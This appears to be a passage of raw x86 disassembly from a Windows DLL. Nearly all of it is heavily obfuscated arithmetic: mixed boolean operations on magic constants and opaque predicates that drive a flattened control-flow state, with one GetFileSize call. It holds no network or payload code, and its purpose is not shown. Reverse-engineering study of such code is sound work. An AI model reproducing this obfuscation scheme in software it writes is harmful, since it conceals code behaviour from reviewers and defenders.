and edx, 0x8352efc3
or edx, eax
xor edx, 0xde3895aa
and ecx, 0xa2958596
or ecx, edx
mov edx, esi
xor edx, esi
not edx
and edx, ecx
xor edx, esi
or esi, ecx
not esi
or edx, esi
mov eax, edx
not eax
mov ecx, edx
or ecx, 0xd44191d9
and ecx, 0xd4e3b5d9
mov esi, eax
and eax, 0x2a004000
or eax, ecx
or esi, 0xa22400
and esi, 0xd4e3b5d9
and edx, 0x11c0a26
or edx, esi
xor edx, eax
mov eax, edx
xor eax, 0x77c81e69
mov ebx, eax
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x24]
and ecx, 0xe3f562
mov eax, dword [ebp - 0x20]
and eax, 0xff1c0a9d
or eax, ecx
mov ecx, eax
xor ecx, 0x8a100214
xor eax, 0xe09420
and eax, 0x75ec9ca9
and ecx, 0x8a136356
or ecx, eax
mov eax, ecx
xor eax, 0x15e01088
xor ecx, 0x114054
and ecx, 0x601dcc75
and eax, 0x9fe2338a
or eax, ecx
mov ecx, eax
xor ecx, 0x9fe2338a
mov edi, eax
xor edi, 0x601dcc75
or edi, ecx
xor eax, 0x78987448
and eax, edi
mov ecx, eax
xor ecx, 0x66124142
xor eax, 0x1801b00d
and eax, 0x9969b68d
and ecx, 0x66964972
or ecx, eax
xor edx, 0x8837e196
mov esi, edx
and esi, 0x13fab065
mov eax, ebx
and eax, 0xec054f9a
or eax, esi
mov esi, ecx
xor esi, 0x9969b68d
mov dword [ebp - 0x1c], esi
mov edi, ecx
xor edi, 0x66964972
and esi, 0x13fab065
mov ebx, edi
and ebx, 0xec054f9a
or ebx, esi
xor ebx, eax
mov eax, ebx
xor eax, edx
and eax, ebx
mov ebx, eax
xor ecx, 0x581f66f8
mov eax, dword [ebp - 0x1c]
and ecx, eax
and edi, 0x40665071
and eax, 0x81108004
or eax, edi
xor eax, 0x81108004
or ecx, eax
mov edi, dword [ebp - 0x18]
mov eax, edi
or eax, 0x8012302
and eax, 0x4875b316
mov esi, edx
and edx, 0x81024061
or edx, eax
or esi, 0x40749014
and esi, 0x4875b316
mov eax, edi
and eax, 0x36880c88
or eax, esi
xor eax, edx
mov esi, ecx
xor esi, ecx
not esi
and esi, eax
xor esi, ecx
mov eax, esi
not eax
mov dword [ebp - 0x18], eax
and eax, 0x1294ace4
mov ecx, esi
and ecx, 0xed6b531b
or ecx, eax
mov dword [ebp - 0x1c], ecx
mov eax, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
not edi
xor eax, 0x1294ace4
and eax, edi
mov edx, eax
not edx
mov ebx, edx
and ebx, 0xadeb2e55
and eax, 0x5214d1aa
or eax, ebx
mov ebx, edi
or ebx, 0x1294ace4
or edx, ebx
and ebx, 0xadeb2e55
mov ecx, dword [ebp - 0x14]
and ecx, 0x4000510a
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
xor edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
mov eax, ecx
and eax, 0x9767d67f
and edi, 0x68982980
or edi, eax
or ecx, esi
and esi, 0x9767d67f
mov eax, dword [ebp - 0x18]
and eax, 0x68982980
or eax, esi
xor eax, edi
not ecx
or ecx, eax
mov eax, ecx
mov edi, ecx
not eax
mov esi, edx
not esi
mov ecx, esi
and ecx, 0x3e05c8ec
and edx, 0xc1fa3713
or edx, ecx
or esi, edi
and edi, 0x3e05c8ec
and eax, 0xc1fa3713
or eax, edi
xor eax, edx
not esi
or esi, eax
mov ecx, esi
not ecx
mov edx, esi
and edx, 0xf30f60d
mov eax, ecx
and eax, 0xf0cf09f2
or eax, edx
mov edx, eax
xor edx, 0x330e608
xor eax, 0x408e0020
and eax, 0x4c8e1025
and edx, 0xb371efda
or edx, eax
mov eax, edx
xor eax, 0x4c8e1025
mov edi, ecx
and edi, 0x7ea69ca8
and esi, 0x81596357
or esi, edi
xor esi, 0x81596357
xor ecx, esi
and ecx, esi
mov esi, eax
mov dword [ebp - 0x18], eax
or esi, 0xdbe55e3b
mov ebx, edx
xor ebx, 0x2000a0c0
mov edi, esi
and edi, 0x2b4193a
and ebx, 0x240aa0c4
or ebx, edi
mov dword [ebp - 0x14], edx
xor edx, 0x6894b1e1
and edx, eax
mov eax, edx
not eax
or esi, eax
and eax, 0x2b4193a
and edx, 0xfd4be6c5
or edx, eax
xor edx, ebx
not esi
or esi, edx
mov edi, ecx
mov ebx, ecx
not ebx
mov eax, ecx
or eax, 0x52805a2a
and eax, 0x768afb6a
mov ecx, ebx
and ecx, 0x100084
or ecx, eax
mov eax, ebx
or eax, 0x240aa140
and eax, 0x768afb6a
mov edx, edi
and edx, 0x89650411
or edx, eax
xor edx, ecx
xor edx, esi
mov esi, dword [ebp - 0x14]
xor esi, 0xa220c84a
mov ecx, dword [ebp - 0x18]
mov eax, ecx
and eax, 0x5d592790
and esi, 0xa2a6d86f
or esi, eax
or ecx, edi
mov eax, ecx
and edi, 0x5d592790
and ebx, 0xa2a6d86f
or ebx, edi
xor ebx, esi
not eax
or eax, ebx
mov esi, eax
mov edi, eax
not esi
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x9fc4feaf
and edx, 0x603b0150
or edx, eax
or ecx, edi
and edi, 0x9fc4feaf
and esi, 0x603b0150
or esi, edi
xor esi, edx
not ecx
or ecx, esi
mov eax, ecx
not eax
mov edx, eax
and edx, 0x3af2ffa6
mov esi, ecx
and esi, 0xc50d0059
or esi, edx
mov edx, esi
xor edx, 0x2860cf06
xor esi, 0x85050000
and esi, 0x979730a0
and edx, 0x6868cf5f
or edx, esi
mov esi, edx
xor esi, 0x828c357
xor edx, 0x979730a0
mov edi, edx
and edi, 0x60c42c88
and esi, 0x9f3bd377
or esi, edi
or edx, ecx
and ecx, 0x60c42c88
and eax, 0x9f3bd377
or eax, ecx
xor eax, esi
not edx
or edx, eax
xor edx, 0x59f66574
xor edx, 0xa6099a8b
sete dh
setne dl
cmp dword [0x10045904], 0xa
setl cl
setge al
mov bh, dl
inc bh
and al, dh
mov byte [ebp - 0x14], al
mov ch, cl
xor ch, dh
mov ah, cl
or ah, dh
mov bl, dl
and bl, bh
xor bl, 1
mov al, bl
xor al, bh
or bl, bh
xor bl, 1
or bl, al
xor bl, 1
or bl, dl
mov bh, bl
xor bh, 1
mov al, dh
xor al, bh
and al, dh
or dh, bh
or bl, dh
xor dh, bh
xor dh, 1
xor bl, 1
or bl, dh
xor bh, dl
or bh, al
xor bl, 1
mov al, bl
xor al, bh
or bl, bh
xor bl, 1
or bl, al
xor bl, cl
and cl, dl
or cl, byte [ebp - 0x14]
xor ah, 1
or ah, ch
xor ah, 1
or ah, cl
mov al, cl
xor al, 1
xor cl, al
and cl, ah
xor cl, al
or al, ah
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov edx, ebx
xor dl, 1
mov ch, bl
and ch, dl
xor ch, 1
or ch, dl
xor ch, 1
or ch, bl
mov al, ch
xor al, 1
mov dh, ah
or dh, al
and ch, ah
and al, cl
or al, ch
xor al, 1
mov ch, al
xor ch, dh
or al, dh
xor al, 1
or al, ch
mov ch, al
xor ch, 1
and ah, cl
xor ah, 1
or ah, cl
xor cl, ah
xor ah, 1
or ah, cl
mov cl, ah
xor cl, dl
and dl, cl
and cl, ah
xor dl, 1
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov dh, al
and dh, ch
xor dh, 1
or dh, ch
xor dh, 1
or dh, al
mov ah, cl
xor ah, 1
mov dl, ah
xor dl, al
and dl, cl
or al, cl
xor dl, 1
mov ch, dl
xor ch, al
or dl, al
xor dl, 1
or dl, ch
xor cl, dh
and cl, dh
xor ah, dh
or ah, cl
xor ah, dl
and dl, ah
mov al, ah
xor al, dl
test al, 1
mov ecx, 0x369bb4d2
mov esi, 0xf8fe572e
cmovne ecx, esi
test ah, 1
mov eax, 0x369bb4d2
cmovne eax, ecx
test dl, 1
cmove eax, ecx
jmp 0x1000f9b0
mov eax, dword [ebp - 0x3c]
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov ecx, dword [0x10045900]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
mov dword [ebp - 0x18], ecx
and edx, 0xd9b4c8e2
mov esi, eax
mov dword [ebp - 0x14], eax
and esi, 0x264b371d
or esi, edx
mov edx, esi
xor edx, 0x22091200
xor esi, 0x1b4c8e2
and esi, 0x5f6edff
and edx, 0xfa091200
or edx, esi
mov edi, edx
xor edi, 0xf62015
xor edx, 0x1a000000
and edx, 0x1f00cdea
and edi, 0xe0ff3215
or edi, edx
mov esi, edi
xor esi, 0xe0ff3215
xor edi, 0x150080ea
and edi, 0x15fe82ff
mov edx, esi
and edx, 0xea017d00
or edx, edi
xor edx, 0xbc7c8b29
and esi, 0xa98209d6
or esi, edx
mov edx, ecx
or edx, 0x46da228
and edx, 0xa4eda27a
mov edi, eax
and edi, 0x9020984
or edi, edx
mov edx, edi
xor edx, 0x5b125d85
xor edi, 0xdb6e2556
and edi, edx
or edx, esi
mov ebx, esi
mov eax, esi
not esi
xor ebx, 0x807c78d3
and ebx, esi
or esi, 0x807c78d3
mov ecx, esi
and ecx, 0xc5b0f994
and eax, 0x3a030628
or eax, ecx
mov ecx, ebx
not ecx
or esi, ecx
and ecx, 0xc5b0f994
and ebx, 0x3a4f066b
or ebx, ecx
xor ebx, eax
not esi
or esi, ebx
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0x14a3916
and edi, 0xae8184e8
or edi, eax
mov eax, dword [ebp - 0x18]
or eax, 0x7ffff72d
or ebx, eax
and eax, 0x514a3b16
mov ecx, dword [ebp - 0x14]
and ecx, 0x800000c0
or ecx, eax
xor ecx, edi
not ebx
or ebx, ecx
xor ebx, esi
mov esi, ebx
not esi
mov eax, esi
and eax, 0x38702d9a
and ebx, 0xc78fd265
or ebx, eax
or esi, edx
and edx, 0xb9f22dde
xor edx, ebx
xor edx, 0x81820044
not esi
or esi, edx
mov eax, esi
not eax
mov ecx, esi
or ecx, 0x640000f5
and ecx, 0xe5fdd6f7
mov edx, eax
and eax, 0x8000908
or eax, ecx
or edx, 0x81fdd602
and edx, 0xe5fdd6f7
and esi, 0x12022000
or esi, edx
xor esi, eax
mov edx, esi
xor edx, 0xd42c0
xor esi, 0x800802
and esi, 0x20f29c1e
and edx, 0xdf0d63e1
or edx, esi
mov edi, edx
xor edi, 0x95082140
xor edx, 0x709802
and edx, 0x4a75daa3
and edi, 0xb58a255c
or edi, edx
mov esi, edi
xor esi, 0x2544821
xor edi, 0xa0802154
and edi, 0xe8a1b3d6
and esi, 0x175e4c29
or esi, edi
mov eax, esi
xor eax, 0x14020c29
xor esi, 0x80012012
and eax, 0x7ca29fed
and esi, 0x835d6012
or esi, eax
mov edx, esi
xor edx, 0x68801288
xor esi, 0x2556010
and esi, 0x1677ed75
and edx, 0xe988128a
or edx, esi
mov ecx, dword [ebp - 0x18]
mov eax, ecx
and eax, 0x4c9f0e4f
mov edi, dword [ebp - 0x14]
mov esi, edi
and esi, 0xb360f1b0
or esi, eax
mov eax, edi
and eax, 0xdbda8ac4
and ecx, 0x2425753b
or ecx, eax
mov ebx, esi
xor ebx, 0x20207130
xor esi, 0x489a0a44
and esi, 0xdbda8ac4
and ebx, 0x2425753b
or ebx, esi
mov edi, edx
xor edi, 0xe988128a
xor edx, 0x1677ed75
xor ebx, ecx
mov eax, dword [ebp - 0x14]
xor eax, ebx
and eax, ebx
mov ecx, eax
mov ebx, eax
not ecx
mov eax, ecx
and eax, edx
or ecx, edi
and edi, ebx
or edi, eax
mov esi, edi
xor esi, edx
and esi, edi
not ecx
or ebx, edx
not ebx
or ebx, ecx
mov ecx, esi
not ecx
mov eax, ebx
xor eax, 0x8bc6b1d7
and eax, ebx
mov edx, ebx
not edx
mov edi, ecx
and edi, 0x8bc6b1d7
and esi, 0x74394e28
or esi, edi
or ecx, edx
and edx, 0x8bc6b1d7
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov ebx, eax
mov dword [ebp - 0x14], eax
mov edx, ecx
mov edi, ecx
and edi, 0x48e978e3
mov esi, eax
and esi, 0xb716871c
or esi, edi
or edx, 0x114def71
mov edi, edx
and edi, 0xa0aaa30e
and ebx, 0x4e101080
or ebx, edi
mov edi, ecx
xor edi, 0xeeb2108e
and edi, ecx
mov eax, edi
not eax
or edx, eax
and eax, 0xa0aaa30e
and edi, 0x5f555cf1
or edi, eax
xor edi, ebx
not edx
or edx, edi
mov eax, dword [ebp - 0x14]
and eax, ecx
mov dword [ebp - 0x18], edx
and edx, ecx
mov edi, eax
not edi
or ecx, edi
and edi, 0x48e978e3
and eax, 0xb716871c
or eax, edi
xor eax, esi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov esi, ecx
xor esi, 0x9e8f8694
and esi, eax
mov edi, esi
not edi
mov ebx, edi
and ebx, 0x5f937c16
and esi, 0xa06c83e9
or esi, ebx
or eax, 0x9e8f8694
or edi, eax
and eax, 0x5f937c16
and ecx, 0x20600169
or ecx, eax
xor ecx, esi
not edi
or edi, ecx
mov esi, edi
xor esi, 0x84878294
xor edi, 0x20704168
and edi, 0x3a784568
and esi, 0xc587ba97
or esi, edi
mov eax, esi
xor eax, 0x3a784568
mov dword [ebp - 0x20], eax
xor esi, 0xc587ba97
mov dword [ebp - 0x24], esi
and eax, 0x7fbfcb3d
and esi, 0x804034c2
or esi, eax
mov ecx, esi
xor ecx, 0x7fbfcb3d
mov eax, esi
xor eax, 0x910ddbb3
and eax, ecx
xor esi, 0x402440
and esi, 0x114def71
and ecx, 0xeeb2108e
or ecx, esi
or ecx, eax
mov ebx, dword [ebp - 0x18]
not ebx
mov eax, dword [ebp - 0x14]
and eax, ebx
or edx, eax
xor ebx, edx
and ebx, edx
mov edi, ecx
not edi
mov eax, ecx
xor eax, 0x9b8d94bd
and eax, edi
mov edx, ecx
and edx, 0x9b8f79c8
and edi, 0x64708637
or edi, edx
xor edi, 0x61c2c09f
or edi, ecx
and ecx, 0x64726b42
or eax, ecx
mov edx, eax
xor edx, 0x9b8d94bd
mov dword [ebp - 0x1c], edx
xor eax, 0x64726b42
mov ecx, eax
and ecx, 0xe516d49a
mov esi, edx
and esi, 0x1ae92b65
or esi, ecx
mov dword [ebp - 0x18], ebx
mov ecx, ebx
not ecx
xor esi, 0xe0a49232
or esi, eax
mov dword [ebp - 0x28], esi
mov esi, ecx
and esi, 0x7bb788cf
mov dword [ebp - 0x2c], esi
and ebx, 0xfa4db957
mov esi, ecx
and esi, 0x5b246a8
or esi, ebx
mov edx, ebx
not esi
or esi, ecx
mov dword [ebp - 0x14], esi
and ecx, eax
mov dword [ebp - 0x30], ecx
mov ebx, dword [ebp - 0x18]
or eax, ebx
mov dword [ebp - 0x34], eax
and dword [ebp - 0x1c], ebx
and ebx, 0x84487730
add ebx, dword [ebp - 0x2c]
xor ebx, 0x81fa3198
or ebx, edx
mov eax, dword [ebp - 0x28]
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x39e14d03
xor eax, 0xcd580eda
and eax, ecx
mov edx, eax
and ecx, 0xc61eb2fc
or ecx, esi
mov esi, edi
not esi
mov eax, edi
and eax, 0xb90d6b0e
xor edi, 0xcd580eda
and edi, esi
and esi, 0x46f294f1
or esi, eax
mov eax, ecx
xor eax, 0xc61eb2fc
xor ecx, 0xb46bc26
and ecx, eax
or edx, ecx
mov ecx, esi
xor ecx, 0x46f294f1
xor esi, 0x8baa9a2b
and esi, ecx
or edi, esi
xor edi, edx
or ecx, eax
not ecx
or ecx, edi
mov esi, ebx
xor esi, 0xca2bef73
and esi, ebx
mov edi, esi
not edi
mov eax, edi
and eax, 0xecd4ac30
and esi, 0x132b53cf
or esi, eax
mov eax, ebx
not eax
mov edx, ebx
or edx, 0x35d4108c
or edi, edx
and edx, 0xecd4ac30
mov dword [ebp - 0x18], edx
mov edx, eax
and edx, 0x22b4343
add edx, dword [ebp - 0x18]
xor edx, esi
not edi
or edi, edx
mov edx, dword [ebp - 0x14]
xor edx, 0x4008ec12
mov esi, dword [ebp - 0x14]
xor esi, 0x3500008c
and esi, 0xbf2303ed
and edx, 0x40dcfc12
or edx, esi
xor edx, edi
mov esi, eax
and esi, 0x58b6c761
and ebx, 0xa749389e
or ebx, esi
mov edi, dword [ebp - 0x14]
mov esi, edi
not esi
or eax, esi
and esi, 0x58b6c761
and edi, 0xa749389e
or edi, esi
xor edi, ebx
not eax
or eax, edi
xor edx, 0xbf2303ed
not eax
or eax, edx
mov edx, ecx
not edx
mov esi, edx
and esi, 0x46a0dec4
and ecx, 0xb95f213b
or ecx, esi
mov esi, eax
not esi
xor ecx, 0x46a0dec4
or ecx, esi
and esi, 0x591aa82e
and eax, 0xa6e557d1
or eax, esi
xor eax, 0x591aa82e
or eax, edx
mov edx, eax
xor edx, ecx
or eax, ecx
not eax
or eax, edx
mov edx, dword [ebp - 0x1c]
or edx, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x34]
not ecx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x8dec3a4c
and ecx, 0x7213c5b3
or ecx, edx
mov edx, ecx
xor edx, 0x601241a1
xor ecx, 0x84601848
and ecx, 0x96619c5a
and edx, 0x699e63a5
or edx, ecx
mov ecx, edx
xor ecx, 0x80208c48
xor edx, 0x21080125
and edx, 0x37491137
and ecx, 0xc8b6eec8
or ecx, edx
mov edx, ecx
xor edx, 0xc8b6eec8
xor ecx, 0x37491137
mov esi, eax
not esi
and edx, esi
or esi, ecx
and ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x8279a3b0
and ecx, 0x7d865c4f
or ecx, edx
xor ecx, esi
xor ecx, 0x7d865c4f
or eax, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xefcce6b9
mov esi, eax
and esi, 0x10331946
or esi, edx
xor esi, 0x10331946
mov edx, ecx
and edx, eax
or edx, esi
mov esi, edx
not esi
and esi, 0x98b1d70b
and edx, 0x674e28f4
or edx, esi
mov esi, edx
xor esi, 0x98b1d70b
and esi, edx
mov edx, ecx
and edx, 0x674e28f4
and eax, 0x98b1d70b
or eax, edx
xor ecx, eax
and ecx, eax
mov eax, ecx
not eax
mov edx, esi
xor edx, eax
and edx, esi
xor eax, ecx
and eax, esi
xor eax, ecx
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x35359c45
and edx, 0xcaca63ba
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0x35359c45
and eax, 0xcaca63ba
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov esi, ecx
mov edx, ecx
xor edx, 0x7603c784
and edx, ecx
not ecx
or esi, 0x89fc387b
mov eax, esi
and eax, 0x558d844
and ecx, 0x72030780
or ecx, eax
mov eax, edx
not eax
or esi, eax
and eax, 0x558d844
and edx, 0xfaa727bb
or edx, eax
xor edx, ecx
not esi
or esi, edx
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x24]
mov ecx, eax
and ecx, 0xd9f7f28b
mov esi, dword [ebp - 0x20]
mov edi, esi
and edi, 0x26080d74
or edi, ecx
mov edx, eax
and edx, 0x48922624
mov ecx, esi
and ecx, 0x2641098b
or ecx, edx
mov edx, ecx
xor edx, 0x22010180
xor ecx, 0xc0800210
and ecx, 0xc4c00a1b
and edx, 0x2a1325a4
or edx, ecx
xor edi, 0xd9f7f28a
or edi, eax
or eax, 0x44c00a0b
and eax, 0xc4c00a1b
mov ecx, eax
mov eax, esi
and eax, 0x112cd040
or eax, ecx
xor eax, edx
mov ecx, eax
xor ecx, 0x6ed32fae
mov esi, ecx
mov dword [ebp - 0x1c], ecx
mov ecx, eax
mov edx, eax
xor ecx, 0x912cd051
mov eax, ecx
mov dword [ebp - 0x18], ecx
xor edx, 0xe3154356
mov ecx, edx
and ecx, eax
and edx, esi
or edx, ecx
mov dword [ebp - 0x28], edi
mov ecx, edi
xor ecx, 0x72399307
and ecx, edi
mov ebx, ecx
not ebx
mov esi, ebx
and esi, 0xbfb38c45
and ecx, 0x404c73ba
or ecx, esi
mov esi, edi
not esi
or edi, 0x8dc66cf8
or ebx, edi
and edi, 0xbfb38c45
mov eax, esi
and eax, 0x40081302
or eax, edi
xor eax, ecx
not ebx
or ebx, eax
xor ebx, edx
mov eax, esi
and eax, 0xbba4a0a
mov ecx, dword [ebp - 0x28]
and ecx, 0xf445b5f5
or ecx, eax
mov edx, ecx
mov eax, dword [ebp - 0x1c]
or esi, eax
and eax, 0xbba4a0a
mov ecx, eax
mov eax, dword [ebp - 0x18]
and eax, 0xf445b5f5
or eax, ecx
xor eax, edx
not esi
or esi, eax
not esi
or esi, ebx
mov edi, esi
not edi
mov ecx, esi
and ecx, 0xa0505d89
mov eax, edi
and eax, 0x5fafa276
or eax, ecx
xor eax, 0x5fafa276
and esi, 0xf0ba04e0
and edi, 0xf45fb1f
or edi, esi
xor edi, 0xf45fb1f
or edi, eax
mov ebx, edi
not ebx
mov eax, edi
and eax, 0x7ee7d815
mov esi, ebx
and esi, 0x811827ea
or esi, eax
mov edx, dword [ebp - 0x14]
mov ecx, edx
not ecx
mov eax, edi
xor eax, ecx
and eax, ebx
and edi, 0xef33ea58
and ebx, 0x10cc15a7
or ebx, edi
xor esi, 0x811827ea
or esi, ecx
xor ebx, ecx
xor ebx, 0x10cc15a7
and ebx, edx
or ebx, eax
mov edi, esi
xor edi, 0x7a997a5b
mov eax, edi
and eax, esi
mov dword [ebp - 0x18], esi
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x979bdc6e
and eax, 0x68642391
or eax, ecx
not esi
mov dword [ebp - 0x14], esi
and edi, esi
mov ecx, edi
not ecx
or edx, ecx
and ecx, 0x979bdc6e
and edi, 0x68642391
or edi, ecx
xor edi, eax
not edx
or edx, edi
mov dword [ebp - 0x1c], edx
mov esi, ebx
not esi
mov eax, ebx
xor eax, 0x856685a4
mov edi, eax
and edi, esi
mov edx, edi
not edx
mov ecx, edx
and ecx, 0x54032a64
and edi, 0xabfcd59b
or edi, ecx
and eax, ebx
mov ecx, eax
not ecx
or edx, ecx
and ecx, 0x54032a64
and eax, 0xabfcd59b
or eax, ecx
xor eax, edi
not edx
or edx, eax
xor edx, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x14]
mov eax, edi
and eax, 0xd50efcde
mov ecx, dword [ebp - 0x18]
and ecx, 0x2af10321
or ecx, eax
or edi, ebx
and ebx, 0xd50efcde
and esi, 0x2af10321
or esi, ebx
xor esi, ecx
not edi
or edi, esi
not edi
or edi, edx
mov esi, edi
not esi
mov eax, esi
or eax, 0x1408
mov ecx, edi
or ecx, 0x420000
and ecx, 0x421408
mov edx, esi
mov ebx, esi
and edx, 0x384000
or edx, ecx
and eax, 0x421408
mov ecx, edi
mov dword [ebp - 0x14], edi
and edi, 0x10000
or edi, eax
xor edi, edx
mov dword [ebp - 0x18], esi
mov eax, esi
and eax, 0x7b5408
and ecx, 0xff84abf7
or ecx, eax
mov eax, ecx
xor eax, esi
and eax, ecx
mov ecx, eax
mov edx, eax
mov dword [ebp - 0x20], eax
not ecx
mov dword [ebp - 0x1c], ecx
mov eax, ecx
and eax, 0x2234e9e6
and edx, 0xddcb1619
or edx, eax
mov dword [ebp - 0x24], edx
mov edx, edi
xor edi, 0x385408
lea ebx, [edi - 0x7b5409]
mov eax, ebx
xor eax, 0xddcb1619
and eax, ebx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x812b0410
and eax, 0x54d9ec
or eax, esi
xor edx, 0x400000
or edi, 0xffb4ebf7
or ecx, edi
and edi, 0xa32b2412
and edx, 0x401008
or edx, edi
xor edx, eax
not ecx
or ecx, edx
mov edx, dword [ebp - 0x24]
mov eax, edx
xor eax, edx
not eax
and eax, ecx
xor eax, edx
mov edi, ebx
not edi
mov ecx, edi
and ecx, 0x605408
and ebx, 0x349f23a2
or ebx, ecx
mov ecx, dword [ebp - 0x20]
or edi, ecx
and ecx, 0xcb60dc5d
mov edx, ecx
mov ecx, dword [ebp - 0x1c]
and ecx, 0x349f23a2
or ecx, edx
xor ecx, ebx
not edi
or edi, ecx
not edi
or edi, eax
mov edx, edi
xor edx, 0xff84abf7
xor edi, 0x7b5408
mov eax, edx
or eax, 0xb92aa880
and eax, 0xb92ba880
mov ecx, edi
and edi, 0x10054b
or edi, eax
or ecx, 0x10000
and ecx, 0xb92ba880
and edx, 0x46c45234
or edx, ecx
xor edx, edi
mov ebx, edx
xor ebx, 0xffeefab4
mov eax, edx
xor eax, 0x110008
and eax, 0x16f12a08
xor edx, 0xc831c657
and edx, ebx
and ebx, 0xe90ed5f7
or ebx, eax
mov esi, ebx
xor esi, 0xe90ed5f7
mov eax, ebx
xor eax, 0x212e16eb
and eax, esi
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x480ebea4
and eax, 0xb7f1415b
or eax, ecx
mov ecx, edx
not ecx
or edi, ecx
and ecx, 0x480ebea4
and edx, 0xb7f1415b
or edx, ecx
xor edx, eax
not edi
or edi, edx
xor ebx, 0x4102800
and ebx, 0x2d16fd11
mov eax, esi
and eax, 0xd2e902ee
or eax, ebx
xor edi, 0x58c3a57
xor eax, 0xe0ba045a
and esi, 0xcdacf94b
or esi, eax
not esi
or esi, edi
mov eax, esi
not eax
and esi, 0x7e96a75
and eax, 0xf816958a
or eax, esi
mov ecx, eax
xor ecx, 0x4012a40
xor eax, 0x50101100
and eax, 0x53f85135
and ecx, 0xac07aeca
or ecx, eax
mov ebx, ecx
mov eax, dword [ebp - 0x18]
and eax, 0x58f1c776
mov edi, dword [ebp - 0x14]
and edi, 0xa70e3889
or edi, eax
mov eax, edi
xor eax, 0xa70e3889
mov ecx, edi
xor ecx, 0x50c10134
and ecx, 0x54c501bd
xor edi, 0xc08e1e48
and edi, eax
mov esi, eax
and esi, 0xab3afe42
or esi, ecx
mov eax, esi
xor eax, 0xab3afe42
mov ecx, eax
and ecx, 0x678026c1
or edi, ecx
mov edx, edi
xor edx, 0xaa28d008
or eax, 0x305102a4
xor esi, 0x40800009
and esi, 0x49a88849
and eax, 0xb45573a6
or eax, esi
xor edi, 0x55d32075
mov ecx, edi
and ecx, 0x45150f93
and edx, 0xbaeaf06c
or edx, ecx
mov esi, eax
xor esi, 0x80007000
xor eax, 0x4baa8c59
or edi, eax
and eax, 0x45150f93
and esi, 0x88a8f048
or esi, eax
mov ecx, ebx
xor ecx, 0xac07aeca
xor ebx, 0x53f85135
xor esi, edx
not edi
or edi, esi
mov eax, edi
not eax
and edi, 0xbb18a864
and eax, 0x44e7579b
or eax, edi
mov esi, eax
mov eax, ebx
and eax, 0x455d169a
mov edx, ecx
and edx, 0xc7847d5c
and ebx, 0x387b82a3
or ebx, edx
xor ebx, 0x6e990a2a
or ebx, ecx
mov dword [ebp - 0x28], ebx
mov edx, ecx
and edx, 0xbaa2e965
or edx, eax
mov ecx, edx
xor ecx, 0x455d169a
mov dword [ebp - 0x18], ecx
xor edx, 0xbaa2e965
mov dword [ebp - 0x24], edx
mov eax, edx
and eax, 0xda3e680a
and ecx, 0x25c197f5
or ecx, eax
xor ecx, 0x73231f7c
mov ebx, ecx
xor ebx, edx
and ebx, ecx
mov eax, esi
mov dword [ebp - 0x14], esi
mov edx, esi
xor edx, 0x44e7579b
mov dword [ebp - 0x20], edx
xor eax, 0xbb18a864
mov dword [ebp - 0x1c], eax
and eax, 0xa91d7776
and edx, 0x56e28889
or edx, eax
mov edi, ebx
not edi
mov dword [ebp - 0x2c], edi
mov ecx, ebx
or ecx, 0xc08283eb
mov esi, ecx
and esi, 0xd30bfee
and edi, 0x324d4010
or edi, esi
mov esi, ebx
xor esi, 0x3f7d7c14
and esi, ebx
mov eax, esi
not eax
or ecx, eax
and eax, 0xd30bfee
and esi, 0xf2cf4011
or esi, eax
xor esi, edi
not ecx
or ecx, esi
mov eax, ebx
and eax, 0x800fd35
mov esi, dword [ebp - 0x2c]
and esi, 0xf7ff02ca
or esi, eax
mov edi, esi
mov esi, dword [ebp - 0x28]
mov eax, esi
not eax
xor ecx, esi
or ebx, eax
and eax, 0x800fd35
and esi, 0xf7ff02ca
or esi, eax
xor esi, edi
not ebx
or ebx, esi
xor ecx, 0xc08283eb
not ebx
or ebx, ecx
mov dword [ebp - 0x28], ebx
not edx
or edx, dword [ebp - 0x1c]
mov edi, edx
not edi
mov eax, edx
and eax, 0x3291b2f7
mov ebx, edi
and ebx, 0xcd6e4d08
or ebx, eax
mov esi, dword [ebp - 0x20]
or esi, 0x56e28889
mov eax, esi
not eax
and esi, 0xc3ba69dc
mov ecx, dword [ebp - 0x14]
xor ecx, 0x90c5376
and ecx, eax
mov dword [ebp - 0x14], ecx
mov ecx, eax
and ecx, 0x28051622
or ecx, esi
mov esi, ebx
xor esi, 0xcd6e4d08
mov dword [ebp - 0x2c], esi
xor ebx, 0x3291b2f7
mov eax, ebx
or eax, 0x14020068
and eax, 0x3606f178
and esi, 0x80b00282
or esi, eax
or edx, 0x2204f110
and edx, 0x3606f178
and edi, 0x49490c05
or edi, edx
xor edi, esi
mov dword [ebp - 0x30], edi
mov esi, ecx
xor esi, 0x3c459623
mov eax, ecx
xor eax, 0x610e9a4e
and eax, esi
mov edx, eax
not edx
mov edi, edx
and edi, 0x39522979
and eax, 0x802d5686
or eax, edi
mov edi, dword [ebp - 0x14]
not edi
or edx, edi
and edi, 0x3bd2a979
and dword [ebp - 0x14], 0x800d5606
add dword [ebp - 0x14], edi
mov edi, dword [ebp - 0x14]
xor edi, eax
not edx
or edx, edi
xor edx, dword [ebp - 0x30]
